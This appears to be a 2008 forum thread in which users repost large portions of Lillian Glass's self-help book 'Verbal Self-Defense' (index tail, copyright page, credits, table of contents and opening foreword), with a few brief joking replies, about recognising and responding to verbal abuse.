as indicator of nervousness, 15–16
controlling, 104
patience with, 288–289
therapy, recommending, 221–222
voice quality, 14
baby-voiced talkers, confronting, 219–221
enhancing, 97–98
loud talkers, 15
projection, 98
quiet talkers, 15
raspiness, 16
self-assessment, 75–77
squeakiness, 14–15
voice box, 95–97
vowel pronunciation, improving, 102
speech pathologists, references, 319–320
speed
reactions to verbal attacks, 136–137
talking, slowing down, 103
spinal posture, correcting, 81
spreading gossip, 312
squeaky talkers, confronting, 219
staring, 8
disarming verbal opponents, 139–141
starting conversation, 121
statements, abusive, 23–27
stereotypes, racial slurs, 286
store clerks, rudeness, 207–208
strangers, verbal defense, 204
strategies
avoiding physical violence
“Fantasy strategy”, 157–158
“Give 'Em Hell and Yell” strategy, 160
“Verbally Mirroring the Foe strategy”, 158–159
disarming verbal opponents
Calm, Calculating, Questioning strategy, 143–144
Funny Bone strategy, 145–146
hand-holding fighting strategy, 147–148
heart-in-hand strategy, 148
hush hush strategy, 147
Look of Disgust strategy, 141
Love 'Em Up strategy, 146–149
Naked Truth strategy, 144–145
names, repeating, 146–147
staring down, 139–141
“What's Good About You” strategy, 148–149
peace, promoting, 112–116
diplomacy, 116
inflammatory words, avoiding, 113–114
listening without interrupting, 114–115
observing opponents, 113
personal space, respecting, 115–116
speaking up, 112
terms of endearment, speaking, 114–115
verbal combat preparation, imaginary conversations, 132–136
verbal defense
loud verbal explosions, 155
selecting, 136–138
stress
emotional
“kick the cat” syndrome, 50
verbal murder, 47
indications, 28
strong but silent types, 230
stuttering, 288–289
controlling, 104
nervousness as cause, 15–16
Page 336
sugary fawners (verbal abusers), 38–39
surprise, facial expression, 11
suspicion, unconscious motivation for verbal murder, 52–53
sweet talkers, 232
T
talkaholics, 232
talking
body language, 11–13
arms, 12–13
hand-shaking, 13
physical distance, 11–12
posture, 12
hyper-articulation, 17–18
rate of speech, 17, 103
speech impediments
lisping, 16
stuttering, 15–16
tone of voice, 14
loud talkers, 15
quiet talkers, 15
raspiness, 16
sqeakiness, 14–15
volume, reducing, 103
teachers and respect, 298
teasing, 299
techniques
breathing, 92–95
mind-clearing, 94
relaxation, 93
yawning, 97–98
confronting verbal abusers
fast talkers, 223
know-it-alls, 224–225
loud talkers, 218–219
name droppers, 223–224
nasal talkers, 227–228
slang speakers, 225
disarming opponents
Calm, Calculating, Questioning strategy, 143–144
Funny Bone strategy, 145–146
Hand-Holding Fighting strategy, 147–148
Heart-in-Hand strategy, 148
hush hush strategy, 147
Look of Disgust strategy, 141
Love 'Em Up strategy, 146–149
Naked Truth strategy, 144–145
name repetition, 146–147
staring, 139–141
What's Good About You strategy, 148–149
family issues, resolving
parental abuse, 192–193
sibling rivalry, 194
handling conversation interruptions, 226
verbal defense
against enemies, 205
against strangers, 204
voice enhancement
monotonous voices, 99–100
nasal voices, 100–101
whining voices, 100
teenagers
parental requests, 196–197
profanity, 195–196
verbal abuse, 194–197
telemarketers, verbal defense, 256, 257
telephone
answering machines, messages, 261–262, 262
confrontations, avoiding, 257
conversations
concluding, 260–261
interruptions, handling, 263–264
while eating, 262–263
frequent callers, confronting, 264–265
mumblers, confronting, 259
returning calls, 264
whisperers, confronting, 259
wordy talkers, confronting, 259–261
telling all, 313
terminally ill, communicating with, 283–284
terms of endearment, speaking, 114–115
theater rage, 298
therapy (speech), 96, 221–222
thieves, 302
“three strikes rule”, verbal abuse, 162
timeliness of counter attacks, 136
tonal blocks, 301
tone of voice, 14
loud talkers, 15
quiet talkers, 15
raspiness, 16
squeakiness, 14–15
topics of conversation, 123–124
basic needs, 124
comparing interest between sexes, 178
interests and opinions, 124
knowledge of, 125
lingo, acquiring, 125
relationships, 124
touching, 85–86
communicating with terminally ill, 284
see also physical contact
traits (personality)
level one verbal abusers, 34–40
backhanded complimentors, 39
confidence betrayers, 37–38
“I'm Only Kidding” personality types, 34
sarcastic/sadistic personality types, 35
self-consumed, 39–40
“Shock 'Em and Rock 'Em” personality types, 34–35
sugary fawners, 38–39
trashers, 36–37
verbal hammers, 35–36
level two verbal abusers, 40–46
accusers, 44
condescending dismissers, 41
faultfinders, 43
instigators, 41
interrogators, 40–41
liars, 44–45
ragers, 43
Page 337
underminers, 41–42
verbal icicles, 45–46
verbal nazis, 43–44
trashers (verbal abusers), 36–37
truth
liars, confronting, 284–285
vocal tone as indicator, 15–18
U.
unconscious motivation, verbal murder, 50–53
envy, 51–52
feelings of unworthiness, 52
underestimating intelligence, 291–292
underminers (verbal abusers), 41–42
unloading on others, 313
unworthiness, motivation for verbal murder, 52
V
veracity, vocal tone as indicator, 15
verbal abuse, 23–27
categorizing, 33–34
children, correcting, 200
comparing to verbal murder, 47
consequences, 27–31
defense
against customer service representatives, 205–212
against dentists, 213–214
against doctors, 213–214
against employers, 212–213
against enemies, 205
against food service employees, 210–212
against foreign language speakers, 211–212
against friends, 204–205
against professionals, 212
against strangers, 204
against telemarketers, 256, 257
against yourself, 308
strategies, selecting, 136–138
emotional manifestations, 29–31
fighting dirty, 155–157
identifying, 25–26
in relationships, 162–164
excuses for maintaining, 163–164
quitting, 165–166
level one, personality traits, 34–40
backhanded complimentors, 39
confidence betrayers, 37–38
“I'm Only Kidding” personality types, 34
sarcastic/sadistic personality types, 35
self-consumed, 39–40
“Shock 'Em and Rock 'Em” personality types, 34–35
sugary fawners, 38–39
trashers, 36–37
verbal hammers, 35–36
level two, personality traits, 40–46
accusers, 44
condescending dismissers, 41
faultfinders, 43
instigators, 41
interrogators, 40–41
liars, 44–45
ragers, 43
underminers, 41–42
verbal icicles, 45–46
verbal nazis, 43–44
parental
consequences, 192
resolving, 192–193
parents as victims, 194–197
physical violence, avoiding
Fantasy strategy, 157–158
“Give 'Em Hell and Yell” strategy, 160
Verbally Mirroring the Foe strategy, 158–159
profanity among teenagers, 195–196
psychological affects, 29–31
relationships
forgiveness, 169
grieving process, 168
rehabilitation, contacting professional help, 166
self-directed, 110
siblings, 193–194
“three strikes rule”, 162–164
victims
setting limits with perpetrators, 153–155
comforting, 166–168
verbal gifts, 316
verbal hammers, 35–36
verbal icicles, 45–46
verbal interrogators, 243
verbal lumberjacks, 249
“Verbally Mirroring the Foe” strategy, avoiding physical violence, 158–159
verbal murder
comparing to verbal abuse, 47
consequences, 57–58
identifying, 49
motivation, 50
conscious, 53–57
unconscious, 50–53
verbal nazis, 43–44
verbal vomiters, 231
verbose speakers, confronting, 227, 259–261
Vicarious Fantasy technique, 211
victims
children of abusive parents, 191–193
of verbal abuse, comforting, 166–168
of verbal murder, 57–58
parents of abusive children, 194–197
setting limits with perpetrator, 153–155
videotape, recording self-assessment, 66
violence, avoiding, 156–157
vocabulary, acquiring, 125
Page 338
voice
as verbal defensive weapon, 155
enhancing, 95
yawning, 97–98
female, interpreting, 185
loud talkers, confronting, 218–219, 259
male, interpreting, 184
monotonous, 99–100, 222–223
nasal,
confronting speakers of, 227–228
improving, 100–101
parental, pre-infant response to, 198
pitch, lowering, 97
projecting, 98
raspiness, 16
self-assessment, 75–77
speech therapy, recommending, 221–222
squeakiness, 14–15
volume, 15
whining, improving, 100
whispering, 15
voice box, 95–97
volume (talking)
reducing, 103
projecting, 98
vowels, pronouncing, 102
vulgar language, 234
W
waiters (restaurant), verbal self-defense, 208–211
walking
body language, self-assessment, 70–71
confidence, 81–82
warning verbal crime perpetrators, 153–155
warning signs of stress, 28
weight distribution, posture, 80–81
weight-related jokes, responding to, 287
Wernicke's area, 27
“What's Good About You” strategy, disarming verbal opponents, 148–149
when to shut up, 296
whining voice, enhancing, 100
whispering
as emotional indicator, 15
over telephone, 259
“Who Are You?” quiz, 106–109
worksheets, verbal abuse,
identifying perpetrators, 48–49
logging reactions, 134
wrongdoing, admitting to, 290–291
X–Z
xenophobics, 248
yawning, 97–98
yes-yes do-nothings, 245, 246
Yiddish terms, 126–127
Your Total Image Inc, order form, 323–324
zealots, 245

ABOUT THE AUTHOR



toggletoggle post by deadlikemurf  at Mar 25,2008 5:46pm
sick.



toggletoggle post by DestroyYouAlot  at Mar 25,2008 5:48pm
Pfft - I already knew all of that.

BTW, I'm totally buying you guys a rubber fist for the practice space. Start practicing.



toggletoggle post by fleshfries at Mar 25,2008 8:24pm
[QUOTE="Mucko:738749"]
Page i
Verbal Self-Defense
by Lillian Glass, Ph.D.
A Division of Macmillan General Reference
A Pearson Education Macmillan Company
1633 Broadway, New York, NY 10019



Page ii
Copyright© 1999 Lillian Glass, Ph.D.
All rights reserved. No part of this book shall be reproduced, stored in a retrieval system, or transmitted by any
means, electronic, mechanical, photocopying, recording, or otherwise, without written permission from the
publisher. No patent liability is assumed with respect to the use of the information contained herein. Although
every precaution has been taken in the preparation of this book, the publisher and author assume no
responsibility for errors or omissions. Neither is any liability assumed for damages resulting from the use of
information contained herein. For information, address Alpha Books, 1633 Broadway, 7th Floor, New York,
NY 10019-6785.
THE COMPLETE IDIOT'S GUIDE name and design are trademarks of Macmillan, Inc.
Macmillan Publishing books may be purchased for business or sales promotional use. For information please
write: Special Markets Department, Macmillan Publishing USA, 1633 Broadway, New York, NY 10019.
International Standard Book Number: 0-02-862741-5
Library of Congress Catalog Card Number: 99-64466
01 00 99 8 7 6 5 4 3 2 1
Interpretation of the printing code: the rightmost number of the first series of numbers is the year of the book's
printing; the rightmost number of the second series of numbers is the number of the book's printing. For
example, a printing code of 99-1 shows that the first printing occurred in 1999.
Printed in the United States of America
Note: This publication contains the opinions and ideas of its author. It is intended to provide helpful and
informative material on the subject matter covered. It is sold with the understanding that the author and
publisher are not engaged in rendering professional services in the book. If the reader requires personal
assistance or advice, a competent professional should be consulted.
The authors and publisher specifically disclaim any responsibility for any liability, loss or risk, personal or
otherwise, which is incurred as a consequence, directly or indirectly, of the use and application of any of the
contents of this book.
Page iii
Alpha Development Team
Publisher
Kathy Nebenhaus
Editorial Director
Gary M. Krebs
Managing Editor
Bob Shuman
Marketing Brand Manager
Felice Primeau
Acquisitions Editor
Jessica Faust
Development Editors
Phil Kitchel
Amy Zavatto
Assistant Editor
Georgette Blau
Production Team
Development Editor
Jessica Faust
Production Editor
Robyn Burnett
Copy Editor
Erik Dafforn
Cover Designer
Mike Freeland
Photo Editor
Richard H. Fox
Illustrator
Kevin Spear
Book Designer
Scott Cook and Amy Adams of Design Lab
Indexer
Tim Wright
Layout/Proofreading
Angela Calvert
Ellen Considine

Page iv
CONTENTS AT A GLANCE
Part 1:
Identifying the Verbally Venomous Opponent
1
1
Identifying the Verbally Venomous Opponent
Observe the person from head to toe in a way you never have before. Listen
between the lines to what they are really saying through their facial and
body language and the sound of their voice.
3
2
Knowing When You've Been Verbally Zapped
Translate what is meant by seemingly innocent statements that are really
verbal barbs. Take the quiz to see if you've been exposed to verbal abuse.
19
3
Verbal Abusers Are Losers
Find out the inner workings of different types of verbal abusers,
categorized according to the severity of their abusive behavior.
33
4
Verbal Murder—How and Why?
Learn some of the conscious and unconscious reasons for and the
consequences of being verbally murdered.
47
Part 2:
Preparing to Verbally Defend Yourself
59
5
Analyzing Your Strengths and Weaknesses
Learn ways to objectively examine how you come across to others—
everything from the way you walk to the way you talk.
61
6
Gaining the Physical Edge
Learn techniques for enhancing your image. These will create a more
powerful perception of you in others and instill more self-confidence in you.
79
7
Gaining the Verbal Advantage
How you sound when you speak cannot be overlooked if you want to win
the verbal war. Learn strategies for enhancing the way you speak.
91
8
Communication Skill Defense
Just as it is important to sound good in verbal warfare, it is important to
105
say the right thing. Learn the basics of communication that will make
others more receptive towards you.
9
Confident Conversation
Learn to develop the charisma to attract people, keep them interested, and
interact with them in the future.
117
Page v
Part 3:
Verbal Defense Strategies to Use in Combat
129
10
Verbal Defense Strategies
Memorize the verbal self-defense strategies so you can easily call upon a
particular strategy in any circumstance. If one doesn't work, you have
numerous others from which to choose.
131
11
Letting Them Know They've Overstepped Their Verbal Boundaries
Now there is no excuse for being victimized or traumatized by an opponent
who intrudes on your territory. You have a bag full of strategies to ward
them off.
139
12
When More Powerful Weaponry Is Needed
You can accomplish more with your mouth than with your fists. It's okay to
get angry, but the consequences of physical violence are too high.
151
13
Enough Is Enough! Knowing When to Retreat
Learn how to quickly determine when the verbal battle is finally over.
Whether you won or lost, you still need to recoup and regroup. This chapter
shows you how to do both.
161
Part 4:
Verbal Warfare with Specific People in Your Life
173
14
Gaining the Winning Verbal Edge Between the Sexes
Learn the basics of male and female communication. This will help you
avoid many common pitfalls responsible for verbal warfare between
couples.
175
15
Blood Is Not Always Thicker Than Water!
Learn how to converse with various family members to understand their
perspectives; if they're just too toxic, learn to get out and save yourself.
191
16
Verbal Warfare with Specific People in Your Life
Master the words to use for specific kinds of abusers, so that you will never
again be a victim.
203
Part 5:
Verbal Combat Against Verbal Abusers
215
17
Verbal Combat Against Annoying Verbal Abusers
The 13 types of annoying vermin won't hurt you, just drive you insane. Here
are remedies for them.
217
18
Verbal Combat Against Painful Verbal Abusers
These eight types of disgusting and obnoxious verbal vermin can literally
make you sick. Learn to combat them so that you won't vomit.
229
Page vi
19
Verbal Combat Against Dangerous Verbal Abusers
These 11 types of dangerous verbal vermin can inflict emotional, mental,
and physical harm upon you. Here are strategies available to help you
protect yourself.
239
Part 6:
Dodging Verbal Bullets in Specific Battlefields
253
20
Verbal Defense over the Telephone
Learn what to say over the telephone to rude and unhelpful people, pests,
and those who have bad telephone habits.
255
21
Verbal Self-Defense in Sticky Situations
What to say in real-life situations nobody talks about. Topics range from
telling someone they have body odor to getting a cheapskate to cough up
the money for a bill.
267
22
Verbal Self-Defense in More Difficult Situations
How to deal with situations that are even more difficult, because they
involve people such as those who are dying or grieving over someone else's
death, and those who lie.
281
23
Verbal Self-Defense Can Save Your Life!
How to thwart a potential criminal act by knowing what to say and how to
say it. You will also learn how to broach the subject of safe sex.
293
24
Verbally Defending YOU Against YOU!
What you say about yourself says it all! People who speak well about
themselves encourage others to do the same. Be discriminating about what
you say about yourself and others.
307
A Resources 319
B To Order Dr. Glass's Products 323
Index 325
Page vii
CONTENTS
Part 1:
Identifying the Verbally Venomous Opponent
1
1
Identifying the Verbally Venomous Opponent
3
Stop, Look, and Listen—Sizing Up Your Opponent 3
20/20 Hindsight 4
Freeze and Focus 5
Reading Between the Lines 5
Telltale Eyes 7
Here's Looking (or Not Looking) at You, Kid! 8
Face Off 9
Telltale Mouth 10
Body Talk 11
Keep Your Distance! 11
Stand Up! 12
Armed with Arms and Hands 12
Hand-to-Hand Combat 13
Listening Between the Lines 13
Telling Tones 14
Squeaking or Leaking? 14
Tones Ready to Verbally Attack You 15
The Mouse That Roars 15
“Tha tha that's all, folks!” 15
Where's the Foghorn? 16
Thylvesther the Cat Thaid What? 16
Slow Down, I Can't Keep Up! 17
Aren't You Done Yet? 17
The Rain in Spain Lies Mainly in the Plain 17
2
Knowing When You've Been Verbally Zapped
19
What Are They Really Saying to You? 19
You Were Not “Only Kidding” 20
What's the Matter? Cat Got Your Tongue? 21
If He Says He's a Jerk, Believe Him 22
Beware, You're Next! 22
They Don't Really Mean That! 23
Warning! You've Been Exposed to a Verbal Health Hazard 23
Verbal Abuse—the Silent Killer 24
Quiz to Determine Exposure to Verbal Abuse 25
What Do Your Answers Mean? 26
Page viii
Ouch, It Hurts! The Physical Pain of Verbal Abuse 27
Head Games Lead to Heart Pains 28
Shrinking Verbal Abuse—Psychological Pain 29
3
Verbal Abusers Are Losers
33
Categorizing the Verbal Abuser 33
Level One Abusers 34
The “I'm Only Kidding” Person 34
The “Shock 'Em and Rock 'Em” Person 34
The Sarcastic/Sadistic Person 35
The Verbal Hammers Person 35
“My Dog's Bigger Than Your Dog” People 36
The Trashers 36
People Who Throw Back Your Confidences 37
The Sugary Fawner 38
Backhanded Complimentors 39
The Self-Consumed 39
Level Two Abusers 40
Interrogators 40
Gossiping, Meddling Instigators 41
Condescending Dismissers 41
Sneaky Underminers 41
“I Love You—I Hate You” People 42
“You're No Good!” People 43
Yellers, Screamers, and Ragers 43
Verbal Nazis—My Way or Else! 43
Guilt-Producing Accusers 44
Liars 44
Verbal Icicles 45
4
Verbal Murder—How and Why?
47
What Is Verbal Murder? 47
Who Are Verbal Murderers? 47
Identifying the Verbal Abusers in Your Life 48
When Do Verbal Abusers Turn into Verbal Murderers? 49
Why Does Verbal Murder Happen? 50
Unconscious Reasons for Verbal Murder 50
Hey! Don't Take It Out on Me! 50
Hey! We're Not All Like That! 50
I'm Not That Toxic Person in Your Past! 51
Green with Envy! 51
I Really Don't Deserve to Be That Happy! 52
I Don't Trust Anybody—Including You! 52
Page ix
Conscious Reasons for Verbal Murder 53
They Just Plain Can't Stand You! 53
They Know You Really Don't Like Them 53
What's the Use? 53
Gimme the Reins—I Need to Control You! 53
You're Incompetent! 54
I Just Don't Believe in You! 54
I Don't Want You to Be Ahead of Me! 55
Who Said You Can Be That Happy and Lucky? 56
They Did It to Me—Now It's Your Turn! 56
Consequences of Being a Verbal Murderer 57
Consequences of Being Verbally Murdered 57
Part 2:
Preparing to Verbally Defend Yourself
59
5
Analyzing Your Strengths and Weaknesses
61
How Others See You Does Matter! 61
How Do You Come Across to Others? 62
The General Consensus About You Is 63
Putting Others to the Test 63
Equipment You Need to Objectively Examine Yourself 65
Mirror, Mirror on the Wall 65
No Lies on Videotape 66
Record a Call 66
A Picture Says a Thousand Words 67
Getting Emotionally Naked 67
Stand Up and Walk the Walk! 68
The Stance of Power 68
The Walk of Authority 70
I Have to Hand It to You 71
Dead Head? 71
About Face! 72
Eye Deal 73
Is Your Mouth Goin' South? 73
Air Born 74
Ouch! My Ears Hurt Listening to You! 74
Pitching Your Voice 75
It's Quality We're After! 75
Twisting Your Tongue 76
Pump Up the Volume! Drown the Sound! 76
How Fast Were You Going? 76
The Nose Knows 76
Are You Talking to Me? 76
Page x
6
Gaining the Physical Edge
79
Postural Defense—Staking Out Your Presence 80
1. Stand Up Straight, Without a Leg Up! 80
2. Bottoms Up! 81
3. Straighten Up and Back Up! 81
4. Heads Up! 81
Walk Up! 81
Sit Up! 82
Uptight? Lighten Up! 82
Up in Arms! 83
Hands Up! 83
Shake Up! 84
Touch Up! 85
Face Up! 86
Charming, Disarming Smile 87
Kissin' Up! 87
Slipping Up or Messing Up? It All Adds Up and You End Up…! 88
7
Gaining the Verbal Advantage
91
Defensive Breathing 92
Relaxation Breathing: In—Hold—Out Control! 93
Mind-Clearing Breaths 94
Listening Through Breathing 94
Marrying Your Breathing with Your Talking 95
Vocal Defense 95
Your Most Overlooked Organ—Your Voice Box 95
Speak—Don't Squeak! 97
Yawning—Opening Up the Throat for a Smooth Voice 97
I Can't Hear You! 98
Stop Turning Me Off! 98
Stop Putting Me to Sleep with Your Boring Voice! 99
Whining No More 100
The Stuffed-Up Nose 100
Tasting Your Sounds 101
Kicking Key Consonants 101
Vowel Control 102
Demolishing Disgusting Habits 102
Say It—Don't Spray It! 102
Swallow Already! 102
Slow Down! It's Not the Grand Prix 103
Quiet! My Ears Can't Take It! 103
Spit It Out Already! 103
Hints to Help Control Your Stuttering 104
Page xi
8
Communication Skill Defense
105
Who in the World Are You? 105
“Who Are You?” Quiz 106
The Results of Who You Are 109
Keys to Gaining the Upper Hand 109
You Gotta Like You! 109
Don't Like Something About Yourself? Change It! 109
Talk Nice to You and Others Will Too 110
Cancel That! 110
The Power of the Word—What a Surprise! 111
Thoughts in Your Head 111
Open Your Mind! 111
Open Your Heart! 112
Tactics Used to Promote Verbal Peace with Others 112
Speak Up Immediately! 112
Monitor Your Mouth 113
Pay Attention to Trigger Words and Phrases 113
Terms of Endearment 114
Let Them Speak Their Piece 114
Enough About You Already! 115
Mind Your Own Business! 115
Respect Should Be Your Mantra 115
Don't Like the Answer? Then Don't Ask the Question 116
9
Confident Conversation
117
The Real Secret of Talking to Anyone 117
Understanding the Four Steps of Confident Conversation 118
Confident Pre-Conversation 118
Ending the “I Think That You Think That I Think” Game
Forever!
118
Smile All the While 119
Do It Anyway! 119
You Die When You're Shy! 120
Only a Fool Plays It Cool! 120
Initiating a Confident Conversation 121
Maintaining a Confident Conversation 121
Ask, Ask, and Keep Asking! 122
Elaborate—Don't Interrogate! 122
Getting Deeper and Deeper 123
What Shall We Talk About? 123
Know What You're Talking About! 125
Bingo! You Got the Lingo! 125
Talking Ethnic 126
Page xii
It's Over—I Wanna Go Now 127
Don't Be a Liar—Follow Up Immediately! 128
Never Say You'll Call If You Don't Mean It! 128
Part 3:
Verbal Defense Strategies to Use in Combat
129
10
Verbal Defense Strategies
131
Entering the Verbal Combat Zone 131
A Verbal Weakling No More! 132
Verbally Pumping Up 132
Imaginary Conversation Strategy 132
Through the Looking Glass 133
Knowing When to Attack Back 134
What Your Answers Mean 134
Keep Your Eyes and Ears Open at All Times 136
Make a Choice and Make It Now 136
Picking Your Strategy 137
The Verbal Artist Has Complete Control! 137
11
Letting Them Know They've Overstepped Their Verbal Boundaries
139
Silent, Expressionless, Blank Stare 139
The Look of Disgust Strategy 141
Let It Go—Breathe and Blow Strategy 142
Calm, Calculating, Questioning Strategy—Like Columbo 143
The Naked Truth Strategy 144
“The Joke's on You”—Funny Bone Strategy 145
Love 'Em Up Strategy 146
Gentle-Toned Name Repetition 146
Hush Hush Strategy 147
Let the Baby Have Her Bottle Strategy 147
Hand-Holding Fighting Strategy 147
Heart-in-Hand Strategy 148
“What's Good About You” Strategy 148
12
When More Powerful Weaponry Is Needed
151
Never Walk Away When You Have Something to Say! 151
Protecting the Other Cheek 152
Don't Just Stand There—Do Something! 152
Verbally Setting Firm Limits 153
“This Is Unacceptable!” 154
“Excuse Me? Are You Talkin' to Me?” 155
Page xiii
Strategy of Loud Verbal Explosions! 155
Fight Clean and Fair! 155
Keep It Above the Belt 156
Never, Ever Use Physical Violence! 156
Fantasy Strategy—an Alternative to Physical Violence 157
Never Threaten One's Basic Needs! 157
Keep Your Cool 158
Verbally Mirroring the Foe Strategy 158
“Give 'Em Hell and Yell” Strategy 160
13
Enough Is Enough! Knowing When to Retreat
161
Three Strikes and You're Out! 162
Yes, But 162
I Say “Yes,” You Say “No” 163
You Finally Got the Message! 165
Noooooo! Don't Do It! 165
Help!!! Emergency!!! 166
Throwaways 166
No Stalkers or Fatal Attractions Allowed! 168
Mourning and Waking Up Renewed in the Morning 168
When You're on the Verbal Merry-Go-Round 169
Forgiving Yourself Right Now! 169
Make Yourself Feel Reeeeal Good! 169
Part 4:
Verbal Warfare with Specific People in Your Life
173
14
Gaining the Winning Verbal Edge Between the Sexes
175
What's the Real Deal? 176
Learning to Be Bilingual 176
Once Upon a Time There Was an Infant Boy and Girl 177
There's Only One Brain! 177
What Shall We Talk About? 178
He Says—She Thinks! She Says—He Thinks! 178
No-No Scenario 1 179
No-No Scenario 2 179
No-No Scenario 3 180
No-No Scenario 4 180
No-No Scenario 5 180
He Says—He Means! She Says—She Means! 181
Scenario 1 Shoulda Said 181
Scenario 2 Shoulda Said 181
Scenario 3 Shoulda Said 182
Scenario 4 Shoulda Said 182
Scenario 5 Shoulda Said 182
Page xiv
Oh! So That's What You Meant! 183
Basic Male 101 183
Basic Female 101 185
See What I Mean? 186
What Men Need to Do 187
What Women Need to Do 187
Saving You a Lot of Grief! 188
15
Blood Is Not Always Thicker Than Water!
191
Defense Against Verbally Abusive Parents 191
Long-Lasting Effects 192
Your Best Bet! 192
Defense Against Verbally Abusive Siblings 193
Too Close for Comfort 193
Your Best Bet! 194
Verbal Defense with Teens 194
Trash Talkin' Teens 195
Expect to Hear This from Your Teen 196
Verbal Defense with School-Aged Kids 197
Best Bet: Set Limits Immediately! 197
Parental Verbal Control 197
Best Bets: Ask Your Child If She Wants to Go Somewhere with
You
198
Verbal Defense with Pre-Schoolers 198
Verbal Defense in Utero 198
Verbal Defense with Infants and Toddlers 199
Terrible Twos Are Verbally Terrific! 199
Talking to Children Who Act Out Verbally 200
Your Best Bet: Children of This Age Crave Respect 200
Cursing Kids 201
16
Verbal Warfare with Specific People in Your Life
203
Verbal Self-Defense Techniques for Various Groups 203
Invasive Strangers 204
“Friends” 204
Enemies 205
Customer Service Representatives 205
People Entrusted with Yourself or Your Property 206
Salespeople, Store Clerks, and Realtors 207
People Who Serve You 208
People Who Don't Speak Your Language 211
Professionals and Authority Figures 212
Verbally Toxic Employers 212
Verbal Medical and Dental Disasters 213
Page xv
Part 5:
Verbal Combat Against Verbal Abusers
215
17
Verbal Combat Against Annoying Verbal Abusers
217
Mumble Jumble 217
Sonic Boomers! 218
Meek, Weak, and Squeak 219
Baby-Voiced and Cutsie-Wootsie 219
Where to Direct a Person with an Annoying Voice 221
The Monotonous Drone 222
The Fast Talker 223
Name-Dropper 223
The Know-It-All 224
SlangGangers 225
Conversation Hogs 226
Repeat, Repeating, Repeaters 226
Wordy Ones 227
The Whiner 227
18
Verbal Combat Against Painful Verbal Abusers
229
Verbal Abuse Can Actually Make You Nauseous! 229
The Verbally Dead 230
Verbal Vomiters 231
Sugary Sweet Phonies 232
Poor-Poor Me 233
“Fibbers” 234
*%#&@ Cussers! 234
Me, Me, Me 235
The Anointed One Has Spoken! 236
19
Verbal Combat Against Dangerous Verbal Abusers
239
PROCEED WITH EXTREME CAUTION! 239
Lambs to Lions 240
Control Freaks 240
Backstabbing Enviers 241
Hitting-Below-the-Belt Abusers 242
Verbal Interrogators 243
Fanatics and Zealots 244
Yes-Yes Do-Nothings 245
The Mentally/Verbally Disturbed 247
Racist, Sexist, Verbal Xenophobes 248
Verbal Lumberjacks 249
Nosybodies 250
Page xvi
Part 6:
Dodging Verbal Bullets in Specific Battlefields
253
20
Verbal Defense over the Telephone
255
Pesky Persistent Telephone Sales Calls 256
Slick Willy 257
Unhelpful Helpers 257
Go Ahead—Blame It on the Phone! 258
Oh No! I Need Some New Eardrums! 259
Huh? Huh? Huh? Huh? 259
What in the World Did They Say? 259
Help! I'm Gonna Drown in a Sea of Words! 259
I Gotta Go, I Gotta Go, I Gotta Go, I Gotta Go! 260
I Got Your Machine! You Sound Silly! 261
Time to Change the Message 261
Making a Great Message 262
Phone Munching 262
Choose—Them or Me? 263
A Return Call Would Be Nice! 264
Stop Calling Already! 264
21
Verbal Self-Defense in Sticky Situations
267
I'm So Humiliated! 268
Ouch! Those Coals Are Hot! 268
It's Not So Funny When It's Me! 268
Burning Brunts of Jokes 269
You Don't Like Me! You Really Don't Like Me! 270
When Someone Says Something Mean or Sarcastic to You 272
Oh No! Tell Me This Is Just a Bad Dream! 272
Please, I Beg You, Please Don't Tell Them That! 273
There Are No Representatives in This House of Speakers! 273
Hey! Butt Out! 274
You're Really Nice After All! 274
You Said What About Me? 274
Keep Your Opinions to Yourself! 275
Are You Mute or Something? 275
Stop Kvetching Already! 276
Speaking in Different Languages 276
What Am I, a Bank? 277
What Part of the Word “No” Don't You Understand? 277
Tactfully Telling Someone About Body Odor 277
Someone Who Never Gets the Bill 278
Page xvii
22
Verbal Self-Defense in More Difficult Situations
281
Breaking the Bad News 281
You're Not the Only One! 282
Talking to the Grieving 283
Dying with Love! 283
Gotcha! 284
Liar, Liar, Pants on Fire! I'll Never Admit I'm a Liar! 285
Sweet Talkin' “Ear Candy” 285
Sexually and Racially Incorrect 286
Come On! Just a Little Bite! 287
Enough About My Weight Already! 287
That's My Friend You're Talking About! 287
You Don't Know What You're Talking About! 288
Talking to Those with Speaking Challenges 288
Talking to Those with Hearing Challenges 289
Talking to the Physically Challenged 289
Talking to the Mentally Ill 289
No—Not You! 290
I Admit It! I Did It! 290
Don't Judge a Book by Its Cover! 291
23
Verbal Self-Defense Can Save Your Life!
293
Listen for Verbal Red Flags! 294
What You Hear Is Not Always What You Get! 294
Listening Between the Lines 295
Put a Lid on It! 295
I Wouldn't Mouth Off If I Were You! 296
Your Speech Is a Loaded Gun 296
Topics That, When Mentioned in Anger, Can Declare Verbal
War
297
Road Rage! Theater Rage! Outrage! 297
SHHHHHHHHHHHHH! 298
I SAID NO TALKIN'!! 298
Reason Before You Start Teasin' 299
Tones Can Kill 299
You're OK, I'm OK. OK, You're OK 300
Non-Words Can Kill 300
Your Mouth Can Save Your Life 301
Verbal Kicks, Vocal Chops, Tonal Blocks 301
Be Nice! 301
To Catch a Thief! 302
Rape 302
Date Rape 303
Page xviii
Sex Talk—Before It Gets Too Hot to Handle! 303
Wear a What? 304
24
Verbally Defending YOU Against YOU!
307
What Did You Say? That's What They Think! 308
Verbalize! No Complaints! Fix What You Hate! 308
Never Let the “Cat Get Your Tongue” 309
Quashing Your Negative Words About You 310
Observe What You Say to Potential Verbal Spies! 310
Loose Lips Sink Ships! 310
Losing the Verbal War by Trashing Your Family! 311
Winning by Letting It Leak! 312
Losing the Verbal Battle by Recycling the Word 312
Verbal Defeat Through Verbal Ecstasy—Why Tellin' All Feels Soooo
Good!
313
Don't Blame! Extinguish the Flame! 314
Making Amends Verbally 314
No More Verbal Hypocrisy—a Clean Battlefield 315
Winning the War Through Verbal Gifts! 316
Appendixes
A Resources 319
References for Speech Pathologists 319
B To Order Dr Glass's Products 323
References for Psychological Services 323
Index 325
Page xix
FOREWORD
In the beginning was the WORD. The rest, is as they say, history …
Words have had magic power ever since human beings used language to liberate themselves from the
constraints of physical reality. Every other life form adapts to the world as it is. Only human beings JUST SAY
NO! to reality. Only human beings use words to envision the world as we'd like it to be, and then transform it
accordingly. Words are magic symbols by which our dreams become reality.
Words are also the vehicles by which we exchange our thoughts and feelings with others, and in so doing
become aware of ourselves (conscious = to know with). The self is literally an ongoing stream of words
(psychologists have a variety of terms for this notion; e.g., “stream of consciousness,” “inner newsreel,”
“autobiographical narrative”). So it should not surprise us then, that words are central to the integrity of the
self. When someone puts in a good word about us, or for us, the self is fortified in proportion to the magnitude
of the praise and the importance (in our minds at least) of the mouth from which the good words emerged.
Prestige is thus the accumulated good words of others; and the primary meaning of prestige is “enchantment”
and “illusion.” I told you words are magic power!
